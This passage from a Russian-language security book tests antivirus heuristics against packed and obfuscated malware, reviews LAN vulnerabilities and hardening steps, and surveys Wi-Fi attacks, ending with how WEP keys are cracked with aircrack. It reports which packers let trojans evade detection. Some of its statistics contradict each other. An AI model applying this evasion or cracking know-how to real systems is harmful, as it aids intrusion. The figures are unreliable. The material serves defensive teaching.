   ♦ Vba32 "+" (рис. 5.9).
   Рис. 5.9. Самый настоящий червь!
   ♦ Nod32 2.7 "+";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "+" (рис. 5.10).
   Рис. 5.10. Прокси-троян у нас под колпаком
   Продолжаем наши эксперименты. Теперь возьмем три различных вируса и наобум запакуем их тремя различными упаковщиками. Троянского коня упаковываем NsAnti. Результаты:
   ♦ Nod32 2.7 "+";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "+" (рис. 5.11).
   Рис. 5.11. На ловца и зверь бежит!
   Теперь Trojan-Spy.Win32.AimSpy запакуем SkD Undetectabler Pro 2 SkDPRO. Результаты:
   ♦ Nod32 2.7 "-";
   ♦ "Антивирус Касперского 6.0" "-";
   ♦ Vba32 "-".

   ПРИМЕЧАНИЕ
   Ну вот, собственно, и настал момент истины. Заметьте, что ни один из наших антивирусных продуктов не смог обнаружить запакованный SkD Undetectabler Pro 2 SkDPRO троянский конь – SkD Undetectabler Pro 2 SkDPRO!

   Едем дальше. Trojan.Mezzia пакуем Zipworx SecureEXE. Результаты:
   ♦ Nod32 2.7 "+";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "+" (рис. 5.12).
   Рис. 5.12.Vba не спит


   Тест № 2

   Тест включает в себя упаковку одного вируса несколькими упаковщиками. В качестве «зло-кода» был использован известный Virus.Win32.Neshta.b. Итак, результаты.
   Пропускаем нашего "нечто" через WinUpack:
   ♦ Nod32 2.7 "-";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "+" (рис. 5.13).
   Рис. 5.13. Neshta – не уйдет! Пропускаем Neshta через Arm Protector ver.01:
   ♦ Nod32 2.7 "+";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "-" (рис. 5.14).
   Рис. 5.14. Vba32 не видит наше «нечто»
   Пропускаем "нечто" через FSG. Результаты:
   ♦ Nod32 2.7 "+";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "+" (рис. 5.15).
   Рис. 5.15. И опять наш антивирус на высоте

   ПРИМЕЧАНИЕ
   Как видите, в этом тесте Vba32 не смог обнаружить "нечто", запакованного Arm Protector ver.01. Nod32 совсем не распознал Neshta, запакованного WinUpack. Вывод: совершенной эвристики нет – к ней лишь можно стремиться.



   Тест № 3

   В данном тесте был использован генератор вирусов APOKALIPSES. Из десяти сгенерированных экземпляров Vba32 обнаружил 8, Nod32 2.7 – 9, «Антивирус Касперского 6.0» обнаружил все.
   Для проведения четвертого теста был использован свеженаписанный вирус, форматирующий диски. Данный прием (применение в тесте вируса, заведомо отсутствующего в базах) позволяет с высокой долей вероятности определить качество эвристики, так как приближает работу эвристического анализатора к естественным, не лабораторным условиям.
   Итак, посмотрим на результаты. Vba32 не обнаружил вирусный код (рис. 5.16).


   Тест № 4

   Рис. 5.16. «В порядке!»
   "Антивирус Касперского 6.0" также ничего не обнаружил (рис. 5.17).
   Рис. 5.17. «Опасных объектов не обнаружено!»
   Лишь Nod32 обнаружил самописный вирус, классифицировав его как модификацию (рис. 5.18).
   Рис. 5.18. Здесь NOD32 показал себя с самой лучшей стороны


   Тест № 5

   Тест на противодействие обфускации. Подправим наш экземпляр (Trojan. Downloader.Win32.Zlob) вручную. Для этого внедрим пару неизвестных инструкций в оригинальный код. Зачем? Чтобы усложнить задачу по эмулированию новых инструкций эвристическим анализатором тестируемого антивируса: говоря простым языком, эмулятору будет более чем сложно узнать, откуда продолжать разбор кода.
   Полученную таким образом модификацию вирусного кода последовательно пропустим через ARM Protector, TeLock и Afx!AVSpoffer. Настоящий "biohazard"! Посмотрим, как с этим справятся наши антивирусы. Результаты:
   ♦ Nod32 2.7 "-";
   ♦ "Антивирус Касперского 6.0" "-";
   ♦ Vba32 "-".

   ПРИМЕЧАНИЕ
   Как вы можете видеть, ни одна из антивирусных программ не смогла вынести такой "biohazard".



   Тест № 6

   Eicar Test. Именно этот тест используется для проверки работоспособности антивирусных программ. Обоснованность проведения подобного теста при анализе эвристики особенно очевидна: стандартизованность EICAR позволяет получать результаты с минимальными погрешностями при определении способности антивируса работать с упаковщиками.
   Фактически, имитация вируса представляет собой такую последовательность: X5O!P%@AP[4\PZX54(P")7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

   ПРИМЕЧАНИЕ
   Для проверки внесите данный текст в Блокнот, после чего попробуйте проверить ваш TXT антивирусом.

   Здесь тестовый текст был упакован десятью различными упаковщиками. Итак, результаты антивирусной проверки:
   ♦ Nod32 2.7 – обнаружил восемь экземпляров;
   ♦ "Антивирус Касперского 6.0" – обнаружил девять экземпляров;
   ♦ Vba32 – обнаружил восемь экземпляров.


   Тест № 7

   Тест на обнаружение полиморфных вариантов. Напомню нашим читателям, что в основе полиморфизма стоит способность вируса к изменению своего кода, так называемой «мутации» – образованию неузнаваемых антивирусом форм, что, к слову будет сказано, является идеальным вариантом для нашего теста.
   В качестве исследуемого мы используем Virus.Win32.Zombi, который представляет собой сложный полиморфный вирус. Вирус использует уникальную технологию встраивания в файлы: вначале он дизассемблирует исполняемый файл на составные части, встраивает свой код, после чего собирает файл, так чтобы вирусный код и код зараженного файла смешались. Для обхода эвристических анализаторов Virus.Win32.Zombie использует уникальную технологию декриптования своего тела.
   Итак, результаты:
   ♦ Nod32 2.7 – обнаружил;
   ♦ "Антивирус Касперского 6.0" – не обнаружил;
   ♦ Vba32 – обнаружил.
   Для "Антивируса Касперского 6.0" Virus.Win32.Zombi оказался не по зубам.




   Глава 6
   Безопасность LAN, WLAN и Интернет


   ♦ Взлом и защита LAN
   ♦ Безопасная архитектура – это фундамент
   ♦ Безопасность беспроводных сетей. Взлом и защита WI-FI
   ♦ Лучшие брандмауэры – какие они?
   ♦ Warning! Your IP is detected! Скрываем свое присутствие в Интернете
   Бурное развитие информационных технологий сделало нашу жизнь практически полностью завязанной на сетевых технологиях. Как такое может быть? Очень просто. Банковские транзакции, интернет-платежи, электронный документооборот, бизнес-процесс предприятия – все это может "упасть", достаточно лишь "обломать" соответствующую сеть. А то, что большинство из ныне действующих банкоматов работают на операционных системах линейки Windows, еще раз подтверждает тот факт, что бреши есть везде, даже если речь идет о системах критической важности. Развитие сетевых технологий на фоне всевозрастающего уровня киберпреступности диктует принципиально новые требования к обеспечению сетевой безопасности.
   В этой связи вопрос защиты сети ставится особенно остро. Из данной главы читатель узнает:
   ♦ какие опасности могут подстерегать пользователя локальной сети и что им можно противопоставить;
   ♦ как ломают WI-FI-сеть и почему 90 % сетей данного класса считаются абсолютно незащищенными;
   ♦ какому межсетевому экрану можно действительно доверить свою безопасность;
   ♦ как сделать свое пребывание в Интернете максимально анонимным.


   6.1. Взлом и защита LAN

   В этом разделе мы поговорим о безопасности локальной сети в контексте возможных вариантов взлома. На конкретном примере рассмотрим, насколько уязвимой может быть система и что предпринять, чтобы превратить ПК в черный ящик для взломщика.
   В качестве объекта исследования совершенно случайным образом был избран самый обычный, ничем не примечательный терминал локальной сети на 200 машин.
   Забегая вперед, заметим, что из десяти кандидатов на "препарацию" две системы оказались беспрецедентно уязвимы (полный доступ на запись/чтение), и говорить в данном случае о какой-либо защите вообще не приходится. Поэтому ради "спортивного интереса" было решено пренебречь этими двумя и рассмотреть более усредненный случай с каким-никаким уровнем защиты.
   В качестве инструмента исследования был использован известный сканер уязвимостей X-Spider 7.5.
   Всего около пяти минут понадобилось нашему "пауку", чтобы предоставить полный отчет, включающий в себя список открытых TCP-портов. Итак, вот, собственно, и результаты сканирования.
   Система Windows 5.1 (или XP) – информация подобного рода хотя и относится к категории "просочившейся", однако не представляет какой-либо серьезной угрозы безопасности вашему ПК.
   Открытый 135-й TCP-порт говорит о том, что на компьютере запущена служба DCOM. Вроде бы ничего страшного. Но что мы видим далее?
   Открыт 135-й UDP-порт, который принадлежит сервису Microsoft RPC (Remote Procedure Call – удаленное выполнение команд). Это уже не просто открытый порт, а серьезная уязвимость, обозначенная в бюллетене безопасности Microsoft под кодовым номером ms03-04 3. Вот как описывается данная уязвимость: "Переполнение буфера обнаружено в Messenger Service в Microsoft Windows. Удаленный атакующий может выполнить произвольный код на уязвимой системе. Проблема связана с тем, что Messenger Service не проверяет длину сообщения. В результате злонамеренный пользователь может послать сообщение, которое переполнит буфер и выполнит произвольный код на уязвимой системе с привилегиями SYSTEM".
   Говоря простым языком, сформированное особым образом сообщение, переданное с помощью обычной команды net send, может привести к запуску на машине жертвы любого программного кода.
   Есть ли в данном случае выход? Конечно же, есть! Первое, что надо сделать, – это отключить службу DCOM, если она действительно не нужна, и обязательно установить пакет обновлений Microsoft: http://www.microsoft.com/technet/security/buLLetin/ MS03-043.asp. Подробнее о данной уязвимости можно узнать по адресу: cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0717.
   Открытый 139-й порт – запущен сервис NetBios (Network Basic Input/Output System). "Ну, это просто классика", – скажут искушенные охотники, и они будут правы. Действительно, какой из портов расскажет о вашей машине столько, сколько 139? Список ресурсов, список активных сессий и многое другое, доступное через нулевую сессию: доступ по нулевой сессии представляет собой возможность неавторизованного подключения к хосту с операционной системой, основанной на Windows NT (или операционной системой семейства UNIX с установленным пакетом Samba) с пустым логином и паролем. При включенной нулевой сессии анонимный пользователь может получить большое количество информации о конфигурации системы (список ресурсов, открытых для общего пользования, список пользователей, список рабочих групп и т. д.). Полученная информация в дальнейшем может быть использована для попыток несанкционированного доступа.
   В бюллетенях безопасности Microsoft уязвимость, связанная с открытым 139-м портом, описывается кодовым номером ms04-007. Описание уязвимости звучит так: "Переполнение буфера обнаружено в Microsoft ASN.1 Library (msasn1.dll) в процессе ASN.1 BER-декодирования. Уязвимость может эксплуатироваться через различные службы (Kerberos, NTLMv2) и приложения, использующие сертификаты. Удаленный пользователь может послать специально обработанные ASN.1 данные к службе или приложению, чтобы выполнить произвольный код с SYSTEM-привилегиями".
   Есть ли выход? Конечно, есть. Прежде всего необходимо установить обновление: http://www.microsoft.com/technet/security/buLLetin/MS04-011.mspx.
   Кроме того, следует отключить доступ по нулевой сессии. Для этого:
   ♦ в разделе реестра HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Control\LSA нужно установить значение параметра RestrictAnonymous равным 2 для Windows 2000/XP/2003 (1 для Windows NT3.5/NT4.0) (тип параметра – REG_DWORD);
   ♦ для Windows 2000/XP/2003 в разделе реестра HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\lanmanserver необходимо установить значение параметра RestrictNullSessionAccess равным 1 (тип параметра – REG_DWORD);
   ♦ для Windows NT3.5/NT4.0 в разделе реестра HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\LanManServer\Parameters необходимо установить значение параметра RestrictNullSessAccess равным 1 (тип параметра – REG_DWORD).
   Едем дальше. Следующим в нашем списке оказывается открытый 445-й порт, который принадлежит службе Microsoft Directory Service. Не грех будет вспомнить, что именно 445-й – один из портов, через который в свое время активно "щемился" нашумевший червяк MS Blast. При отсутствии соответствующих заплаток 445-й порт, без преувеличения, – настоящая дыра всех времен и народов. Следующие уязвимости и варианты их реализации есть яркое подтверждение вышесказанному: "Удаленное выполнение команд ms05-027, ms05-043". Объект, который значится в бюллетене под кодовым именем ms0 5-02 7, имеет следующее описание со всеми вытекающими отсюда последствиями: "Уязвимость в службе Print Spooler позволяет удаленному пользователю выполнить произвольный код на целевой системе".
   А теперь разберем сухой отчет от Microsoft подробнее. Служба Spooler предназначена для управления принтерами и заданиями печати и экспортирует интерфейс на базе RPC (Remote Procedure Call). В данной службе присутствует уязвимость переполнения буфера. Удаленный или локальный пользователь может подключиться к системе через NULL-сессию и с помощью специального запроса выполнить произвольный код с привилегиями Local System или вызвать отказ от обслуживания. Данной уязвимости подвержены следующие версии операционных систем: Microsoft Windows 2000 Service Pack 4, Microsoft Windows XP Service Pack 1, Microsoft Windows XP Service Pack 2, Microsoft Windows Server 2003.
   Как злонамеренный пользователь может воспользоваться этой уязвимостью? Уязвимость может быть использована удаленно путем создания специального запроса к службе Printer Spooler. В Windows 2000 и Windows XP SP1 эта служба доступна извне с помощью именованных каналов и посредством NULL-сес-сии. В Windows XP SP2 и Windows Server 2003 для доступа к этой службе необходимо пройти аутентификацию, то есть для удачной эксплуатации нужно иметь учетную запись на удаленном хосте.
   Как все это дело прикрыть? Просто. Достаточно лишь установить обновление для Windows (http://www.microsoft.com/technet/security/BuLLetin/MS05-043.mspx), и все.
   Следующим открытым портом оказался порт 4899, принадлежащий Radmin. Комментарий в данном случае будет не такой горячий, как в предыдущих: просто на машине установлена утилита удаленного администрирования – хотя для злонамеренного пользователя данная информация не должна показаться столь уж бесполезной.
   И напоследок, открытый TCP-порт 5000, который принадлежит службе SSDP. Данный сервис отвечает за обнаружение UPnP-устройств в домашней сети. Уязвимость в службе SSDP, а точнее отсутствие таковой (по крайней мере на момент написания книги), не представляет реальной угрозы и не может быть использована для удаленного выполнения кода, отказа в обслуживании и т. п. Тем не менее никогда не стоит забывать простое правило: меньше служб – меньше открытых портов – меньшая вероятность того, что ваша система окажется уязвимой (подробно про оптимизацию безопасности Windows средствами операционной системы смотрите в гл. 7).
   При ненадобности "обнаруживать UPnP-устройства в вашей сети" смело отключаем эту службу через Панель управления ► Администрирование ► Службы.
   Подведем итог. Шесть открытых портов: 135-UDP, 135-TCP, 139-TCP, 445-TCP, 4899-TCP и 5000-TCP, половина из которых (135-UDP, 139-TCP и 445-TCP) открывают практически безграничные возможности для "творчества" удаленного "зло-админа".


   6.2. Безопасная архитектура – это фундамент

   Итак, помимо централизованной политики безопасности, без которой де факто невозможно построение безопасной сети в принципе, особое внимание следует обратить на следующее моменты.
   ♦ Использование безопасных протоколов обмена (не секрет, что такие текстовые протоколы, как FTP и telnet, представляют собой явную угрозу) и туннелирование данных, например, посредством SSH.
   ♦ Шифрование критичных данных с использованием надежных криптоалгоритмов.
   ♦ Использование архитектуры сети, включающей в себя наличие DMZ (демилитаризованной зоны), обслуживаемой двумя брандмауэрами. DMZ подразумевает под собой фрагмент сети, не являющийся полностью доверенным. Смысл создания DMZ заключается в том, чтобы оградить внутреннюю систему (в данном случае это наша защищенная LAN) от доступа, который осуществляется из Интернета.
   ♦ Использование IDS (Intrusion-Detection System), IPS (Intrusion-Prevention System). В идеальном случае такая система выдаст сигнал тревоги (или предотвратит саму попытку вторжения– IPS) при попытке проникновения.
   ♦ Использование NAT (технология трансляции адресов локальной сети на IP-адрес внешнего соединения). Очевидно, что функция безопасности NAT реализуется, благодаря тому что скрытые адреса внутренних систем являются невидимыми из внешней сети, в частности из Интернета.
   ♦ Защита периферии посредством тонких клиентов и двухфакторной системы аутентификации (подобные инструменты в значительной мере уменьшают риск вторжения изнутри).
   Более частные рекомендации могут быть следующими.
   ♦ Первое, что необходимо сделать, – установить самые последние обновления для вашей операционной системы. Скачать обновления можно с официального сайта Корпорации Microsoft, предварительно установив как можно более новый вариант сборки вашей операционной системы. Дыры как находили, так и будут находить, поэтому, если вы обладатель самых свежих обновлений, расслабляться все равно не стоит: с момента обнаружения новой уязвимости и до момента выхода заплатки "умные люди" успевают написать вирус или создать червя.
   ♦ В свойствах подключения крайне желательно оставить только самое необходимое, а именно ТСР/IP. Службу доступа к файлам и принтерам сети Microsoft при
   отсутствии реальной необходимости сетевого доступа к ним необходимо отключить, чтобы не облегчать задачу всем любителям открытых по умолчанию C$, D$, ADMIN$ и т. д.
   ♦ Все неиспользуемые сервисы желательно выключить: FTP, Telnet, удаленный реестр – зачем все это, если вы не используете ни один из перечисленных сервисов? Это не только улучшит производительность вашей системы, но и автоматически закроет кучу открытых портов.
   ♦ Установите файловую систему NTFS, которая позволяет разграничить доступ к ресурсам вашего ПК и усложняет процесс локального взлома базы SAM.
   ♦ Удалите лишние учетные записи, а в оснастке gpedit.msc запретите локальный и сетевой вход для всех пользователей, оставив только используемых на данной машине, и доступ по сети для Администратора.
   ♦ Не используйте автоматический ввод пароля при входе в систему, особенно для пользователя Администратор.
   ♦ Желательно, чтобы на вашем ПК был установлен какой-нибудь персональный брандмауэр, закрывающий доступ к открытым портам (ZoneAlarm, Outpost Firewall или что-нибудь подобное). Помимо защиты от попыток проникновения извне, с помощью брандмауэра вы сможете легко и просто контролировать доступ программ (среди них может быть, к примеру, затаившийся троянский конь) к Интернету. Любая попытка вырваться в Сеть не останется незамеченной вашей "огнедышащей стеной".

   ПРИМЕЧАНИЕ
   Очевидно, что вышеперечисленное адекватно для защиты рабочих станций. Если же речь идет об организации безопасности крупной корпоративной сети, о защите сервера/шлюза, то здесь взор системного администратора/администратора безопасности в первую очередь должен быть направлен на использование UNIX-подобных систем (FreeBSD, Linux) как наиболее безопасной альтернативе Windows.

   ♦ Не стоит забывать и о снифферах, с помощью которых ваши пароли могут стать настолько же общественными, насколько места "М" и "Ж".

   ПРИМЕЧАНИЕ
   Под сниффером подразумевается программа, перехватывающая все пакеты, идущие по локальной сети. Как такое может быть? Просто. Сниффер переводит сетевую карту в "неразборчивый" режим, что позволяет захватить даже те пакеты, которые не предназначены для системы, в которой установлен сниффер. Пример: Cain & Abel.

   ♦ Как известно, при установлении SMB-сеанса клиент отвечает серверу, отправляя в сеть LM-хэш (Lan Manager-хэш) и NT-хэш (Windows NT). Возможность отправки двух вариантов зашифрованных паролей необходима для совместимости со старыми операционными системами. Как при локальном, так и при удаленном способах аутентификации система сначала пытается идентифицировать NT-хэш. Если его нет, система пытается проверить подлинность LM-хэша. А вот тут-то и «зарыта собака». Дело в том, что криптостойкость LM-хэша не выдерживает никакой критики (см. гл. 7).
   ♦ Не стоит пренебрегать установкой антивирусной программы. Увлекаться тоже не слудет. Факт, что "Каспер" может "убить" "Dr.Web" и наоборот, – ни для кого не секрет.
   ♦ Если вы любитель всевозможных сервисов, увеличивающих круг общения (ICQ, почтовый агент), необходимо помнить о том, что охотников за вашими личными данными достаточно, чтобы выведать у вас самую различную информацию, которая впоследствии может быть использована для удаленного вторжения. Реальный случай из жизни: в ICQ, методом социальной инженерии, взломщик прикидывается девчонкой и вступает с жертвой в живой разговор. Несколько минут разговора – и происходит обмен фотографиями, одна из которых (ясно, какая) – самый настоящий троянский конь. Жертва открывает JPG-файл, а вместо обещанного откровенного эксклюзива – ошибка при открытии файла. Троянский конь уже в вашей системе.


   6.3. Безопасность беспроводных сетей. Взлом и защита WI-FI


   Не секрет, что беспроводные сети сравнимы по скорости и гораздо более удобны, чем традиционные проводные сети. Подумайте сами: никаких надоедливых проводов, мобильность и оперативность – вы больше не привязаны к своему рабочему месту.
   Все, казалось бы, идеально, если бы не одно но. Реализация системы безопасности в такой сети похожа на "шалаш дядюшки Тома". Поскольку вся сеть 802.11x работает на высокочастотных радиосигналах, передаваемые данные может легко перехватить любой пользователь с совместимой платой средством сканирования беспроводной сети, например NetStumbler или Kismet, и программами прослушивания трафика, например dsniff и snort. Но "изюм" не в этом. Применяемые в настоящее время алгоритмы шифрования, в частности WEP, не выдерживают никакой критики: требуется всего несколько часов (а иногда и несколько минут), чтобы "сломать" даже самый стойкий ключ.
   Как показывает статистика, до 95 % (!) беспроводных сетей стандарта 802.11x абсолютно не защищены, взлом же остальных 20 % – всего лишь дело техники.


   Немного о Wi-Fi

   Под термином Wi-Fi (Wireless Fidelity) понимается целая линейка протоколов беспроводной передачи данных, которые, как правило, используются для соединения компьютеров. Самым популярным стандартом Wi-Fi на сегодняшний день является IEEE 802.11b, имеющий максимальную скорость передачи 11 Мбит/с.
   Изначально Wi-Fi задумывался как альтернатива традиционным проводным сетям, и он, разумеется, имеет целый ряд преимуществ по сравнению с витой парой:
   ♦ отсутствие строгих правил построения сети;
   ♦ никакой прокладки километров проводов по кабельным каналам или в пространстве над подвесным потолком;
   ♦ гибкость сети – возможность оперативно вносить изменения в сеть без потери ее функциональности и т. д.
   Появление Wi-Fi на фоне всей этой проводной волокиты более чем желанно: для организации WLAN теперь всего-то необходимо "поднять" несколько точек доступа (Access Point) и настроить компьютеры на работу с сетью.
   Помимо популярного протокола 802.11b существуют также 802.11a и 802.11g, которые позволяют посылать и получать информацию на скоростях до 54 Мбит/с. Разработчики нового перспективного стандарта 802.11n обещают повышение скорости до 320 Мбит/с.
   Топология WI-FI. Между устройствами Wi-Fi можно организовать по крайней мере два вида соединений. Первое из них – это так называемое ad-hoc-соединение (peer-to-peer, «точка-точка»), которое используется для установления прямой связи между двумя компьютерами. Нетрудно догадаться, что в этом случае точка доступа не используется, а компьютеры общаются непосредственно друг с другом (что-то наподобие одноранговой LAN-сети).
   Сеть Wi-Fi, которая способна поддерживать большое количество клиентов, строится только с точкой доступа (infrastructure, режим клиент/сервер). Топологию такой сети можно сравнить с самой обычной LAN, построенной на основе хаба, к которому подключены все провода от клиентских компьютеров. В беспроводной сети вместо хаба используется точка доступа, которая и поддерживает все подключения беспроводных клиентов и обеспечивает передачу данных между ними. В большинстве беспроводных сетей необходимо обеспечить доступ к файловым серверам, принтерам и другим устройствам, подключенным к проводной локальной сети, – именно поэтому и используется режим клиент/сервер.
   Без подключения дополнительной антенны устойчивая связь для оборудования стандарта IEEE 802.11b лежит в пределах:
   ♦ открытое пространство – 500 м;
   ♦ комната, разделенная перегородками из неметаллического материала, – 100 м;
   ♦ офис из нескольких комнат – 30 м.


   Механизмы безопасности

   Начиная разговор о механизмах безопасности, будет более чем резонно упомянуть тот факт, что при установке точки доступа почти все, что должно обеспечивать безопасность, отключено. Да-да. Именно так оно и есть.
   Активировать средства безопасности не составляет большого труда, но большинство администраторов не делают этого. Почему – вопрос скорее риторический.
   Стандарт 802.1x для беспроводных сетей предусматривает несколько механизмов обеспечения безопасности сети. Рассмотрим пять основных, наиболее используемых.
   Wired Equivalent Protocol (аналог проводной безопасности), он же WEP, разработан автором стандарта 802.1. Основная функция WEP – шифрование данных при передаче по радиоканалу и предотвращение неавторизованного доступа в беспроводную сеть. Для шифрования WEP использует алгоритм RC4 с ключом размером 64 или 128 бит. Ключи имеют так называемую статическую составляющую длиной от 40 до 104 бит и дополнительную динамическую составляющую размером 24 бит, называемую вектором инициализации (Initialization Vector или IV). Упрощенно механизм WEP-шифрования выглядит следующим образом:
   ♦ передаваемые в пакете данные проверяются на целостность (алгоритм CRC-32), после чего их контрольная сумма (integrity check value, ICV) добавляется в служебное поле заголовка пакета;
   ♦ далее генерируется 24-битный вектор инициализации (IV), и к нему добавляется статический (40-или 104-битный) секретный ключ;
   ♦ полученный таким образом 64-или 128-битный ключ и является исходным ключом для генерации псевдослучайного числа, использующегося для шифрования данных;
   ♦ далее данные смешиваются (шифруются) с помощью логической операции XOR с псевдослучайной ключевой последовательностью, а вектор инициализации добавляется в служебное поле кадра.
   WEP предусматривает два способа аутентификации пользователей: Open System (открытая) и Shared Key (общая). При использовании Open System-аутентифика-ции аутентификация как таковая отсутствует – любой пользователь может получить доступ в беспроводную сеть. Второй вариант аутентификации предусматривает применение секретного ключа, механизм генерации которого описан выше.
   WEP 2 был предложен в 2001 году как альтернатива WEP после обнаружения множества дырок в первой версии. WEP 2 имеет улучшенный механизм шифрования и поддержку Cerberus V.
   Протокол WPA. Как вы увидите чуть позже, протокол WEP имеет ряд существенных недостатков и позволяет взломщику за короткое время получить полный доступ к WLAN. Именно поэтому в 2003 году и был предложен новый стандарт безопасности – WPA (Wi-Fi Protected Access). Главной особенностью данного стандарта можно считать технологию динамической генерации ключей шифрования данных, построенную на базе протокола TKIP (Temporal Key Integrity Protocol), представляющего собой дальнейшее развитие алгоритма шифрования RC4.
   В отличие от 24-битного вектора WEP, сетевые устройства по протоколу TKIP работают с 48-битным вектором инициализации, реализуя правила изменения последовательности его битов, что исключает повторное использование ключей. Для каждого передаваемого пакета в протоколе TKIP предусмотрена генерация нового 128-битного ключа. Кроме того, контрольные криптографические суммы в WPA рассчитываются по новому алгоритму MIC (Message Integrity Code): в каждый кадр помещается специальный восьмибайтный код целостности сообщения, проверка которого позволяет отражать атаки с применением подложных пакетов. Таким образом, каждый передаваемый по сети пакет имеет собственный уникальный ключ, а каждое устройство беспроводной сети наделяется собственным динамически изменяемым ключом.
   Кроме того, протокол WPA поддерживает шифрование по стандарту AES (Advanced Encryption Standard), а это не устаревший RC4. AES отличается более стойким криптоалгоритмом, что является несомненным плюсом в обеспечении безопасной передачи данных по беспроводной сети.
   При построении офисных беспроводных сетей часто используется вариант протокола безопасности WPA на основе общих ключей WPA-PSK (Pre Shared Key). Что же касается корпоративных сетей, то там авторизация пользователей чаще всего проводится на выделенном RADIUS-сервере.
   Open System Authentication представляет собой систему аутентификации, по умолчанию используемую в протоколе 802.11. Если говорить более точно, то никакой системы аутентификации в данном случае нет вообще. Даже при включенном WEP в системе OSA пакет аутентификации посылается, не будучи зашифрованным.
   Access Control List. В протоколе 802.11 ACL не описывается, но достаточно часто используется в качестве дополнительного средства безопасности к стандартным методам. Основа ACL – фильтрация клиентских Ethernet-MAC-адресов в соответствии со списком МАС-адресов (доступ разрешен/запрещен).
   Closed Network Access Control. Технология безопасности основана на использовании режима скрытого идентификатора сети SSID. Что этот такое? Каждой беспроводной сети назначается свой уникальный идентификатор (SSID), который обычно отражает название сети. Когда какой-либо пользователь пытается войти в сеть, то драйвер беспроводного адаптера прежде всего сканирует эфир на наличие в ней беспроводных сетей.
   Использование режима скрытого идентификатора (Hide SSID) препятствует отображению сети в списке доступных, и подключиться к ней можно только в том случае, если точно известен ее SSID и профиль подключения к этой сети.


   Атаки

   Как показывают исследования с использованием авторитетной техники Gnivirdraw, до 80 % клиентов содержат в профиле незащищенные подключения или же вообще соединяются с ложными точками доступа. Несмотря на всю кажущуюся беззащитность перед профессиональным взломом, все же использование станцией любых механизмов защиты, даже таких как WEP, уже серьезно снижает вероятность того, что ваша сеть будет взломана. Тем не менее статистика категорична: по некоторым оценкам, 95 % сетей практически беззащитны и каждый из нижеописанных методов имеет 99 % шансов на успех.
   Итак, методы взлома.
   MAC Sniffing&Spoofing. Атаки подобного рода возможны потому, что при передаче пакетов, даже при включенном WEP, MAC-адрес передается по сети в открытом виде. Как следствие, MAC-адрес можно перехватить. Далее формируются запросы взломщика к AP с применением подложного MAC. Таким образом и обходят аутентификацию на основе ACL.
   Access Point Spoofing. Данный вид атаки подразумевает использование подложной точки доступа, переманивающей клиентов на себя. Как следствие, пароли и все данные оказываются у взломщика. Единственное условие успешной реализации данной атаки – сигнал точки доступа взломщика должен быть соизмеримо более сильным легальной AP.
   Plaintext-атака. Условие реализации: атакующий знает исходное послание и имеет копию зашифрованного ответа. Все, что необходимо в данном случае, – ключ. Для его получения атакующий посылает в сеть некоторую часть данных и получает ответ. На основе ответа находится 24-битный вектор инициализации, используемый для генерирования ключа.
   Атака Fluhrer-Mantin-Shamir. Сотрудники Cisco Scott Fluhrer, Itsik Mantin и Adi Shamir из научного института Израиля обнаружили критическую уязвимость в алгоритме Key Scheduling Algorithm (KSA), который стоит в основе RC4. С ее помощью можно получить 24-битный ключ WEP и даже 128-битный ключ WEP 2. Результат работы исследователей – две программы: Air snort и WEPCrack, в определенных кругах пользующиеся особой популярностью.
   Атаки отказа в обслуживании (DDoS-атаки). Цель любой атаки отказа в обслуживании состоит в том, чтобы ограничить доступ легального пользователя к ресурсам сети, что обеспечивается посылкой огромного количества некорректно сформированных пакетов, затопляющих легальный трафик и приводящих к зависанию и/или последующей перезагрузке системы. Следует отметить тот факт, что беспроводные системы особенно чувствительны к DDoS-такам из-за особенностей организации OSI-стека в контексте WLAN. Чтобы понять, о чем идет речь, достаточно соотнести физический уровень LAN и WLAN между собой: если в первом случае нападение на физический уровень описываемо и достаточно простое, то в беспроводной сети атака на физическом уровне есть нечто довольно абстрактное, ведь физический уровень WLAN – это воздух, некое место вокруг точки доступа.
   Не будем исключать также случай, если злоумышленник создаст устройство, затопляющее весь частотный диапазон 2,4 ГГц помехами и нелегальным трафиком. В простейшем случае таким устройством может стать доработанная микроволновая печь!
   Low-Hanging Fruit. Дословно переводится как «низко висящие фрукты». Как ясно из названия, атака, собственно, является-то и не атакой, а, скорее, получением сети «на халяву», учитывая факт того, что большинство беспроводных сетей абсолютно не защищены, в них не требуется авторизация и даже не используется WEP.


   Собираем пакеты

   Ну что ж, от теории плавно перейдем к практике. Ведь чтобы научится что-то хорошо защищать, необходимо взломать это. Нижеследующий текст никоим образом нельзя расценивать как руководство к действию. Материал приведен исключительно в ознакомительных целях.
   Суть технологии сводится к следующему. Для нахождения ключа WEP необходимо собрать некоторое количество пакетов, которые впоследствии надо будет пропустить через специализированное программное обеспечение. Для сбора пакетов используется ноутбук с настроенной картой WI-FI и грудой соответствующих программ: Netstambler, Macstambler, Kismet и т. п. Сам процесс сканирования беспроводной сети осуществляется удаленно (например, из машины, припаркованной недалеко от объекта исследования). Существует даже специальный термин, отражающий суть такой атаки, – "вардрайвинг".
   Количество пакетов, необходимое для успешной атаки, менятся от случая к случаю, однако существует и некоторая закономерность: как правило, для атаки на 64-битный ключ необходимо собрать не менее 200 тыс. пакетов и не менее 500 тыс. для 128-битного ключа, причем именно зашифрованных пакетов, содержащих в себе уникальный вектор инициализации.
   В качестве программы, реализующей вышеописанные требования, можно привести aircrack, которая поставляется с утилитой для перехвата пакетов airodump.
   Так вот, для взлома ключа очень часто вовсе и не требуется ждать несколько часов: часто aircrack определяет WEP-ключ в течение нескольких секунд! Продолжительность работы программы зависит от уникальности IV и установленного значения fudge factor. Чем выше fudge factor, тем большее количество ключей будет сгенерировано, что скажется на увеличении времени атаки и вероятности того, что она окажется успешной. По умолчанию fudge factor равен 2, но может быть изменен на любое положительное целое число.
   Вышеописанный метод атаки на WEP представляет собой пассивную атаку: для осуществления таковой не требуется каких-либо активных действий вроде отправки пакетов в сеть. Все, что необходимо сделать в данном случае, – поймать некоторое количество пакетов, после чего приступить к их расшифровке.
